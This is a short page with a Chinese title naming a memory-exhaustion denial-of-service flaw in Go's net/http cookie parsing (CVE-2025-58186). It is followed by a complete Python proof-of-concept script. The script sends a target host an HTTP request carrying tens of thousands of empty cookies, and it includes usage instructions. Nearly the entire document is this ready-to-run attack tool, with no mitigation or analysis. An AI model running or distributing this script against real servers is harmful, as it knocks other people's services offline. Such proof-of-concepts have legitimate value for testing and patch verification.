Go语言net/http包Cookie解析无限内存消耗拒绝服务漏洞 (CVE-2025-58186)

#!/usr/bin/env python3 """ CVE-2025-58186 PoC - Go net/http Cookie Parsing Memory Exhaustion This PoC demonstrates how an attacker can cause memory exhaustion by sending HTTP requests with a large number of small cookies. """ import socket import time import sys def send_malicious_cookie_request(host, port, num_cookies): """ Send an HTTP request with many small cookies to exhaust server memory. Args: host: Target server hostname port: Target server port num_cookies: Number of small cookies to send """ # Generate many small cookies like "a=;" cookies = ";".join([f"a{i}=" for i in range(num_cookies)]) # Construct HTTP request with malicious Cookie header request = ( f"GET / HTTP/1.1\r\n" f"Host: {host}\r\n" f"Cookie: {cookies}\r\n" f"Connection: close\r\n" f"\r\n" ) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((host, port)) sock.sendall(request.encode()) # Receive response (may be incomplete or timeout) response = b"" while True: try: chunk = sock.recv(4096) if not chunk: break response += chunk except socket.timeout: break sock.close() return True except Exception as e: print(f"Error: {e}") return False def main(): if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <host> <port> [num_cookies]") print(f"Example: {sys.argv[0]} example.com 8080 50000") sys.exit(1) host = sys.argv[1] port = int(sys.argv[2]) num_cookies = int(sys.argv[3]) if len(sys.argv) > 3 else 50000 print(f"[*] Sending request with {num_cookies} small cookies to {host}:{port}") print(f"[*] This may cause memory exhaustion on vulnerable Go HTTP servers") send_malicious_cookie_request(host, port, num_cookies) print(f"[+] Request sent. Monitor server memory usage.") if __name__ == "__main__": main()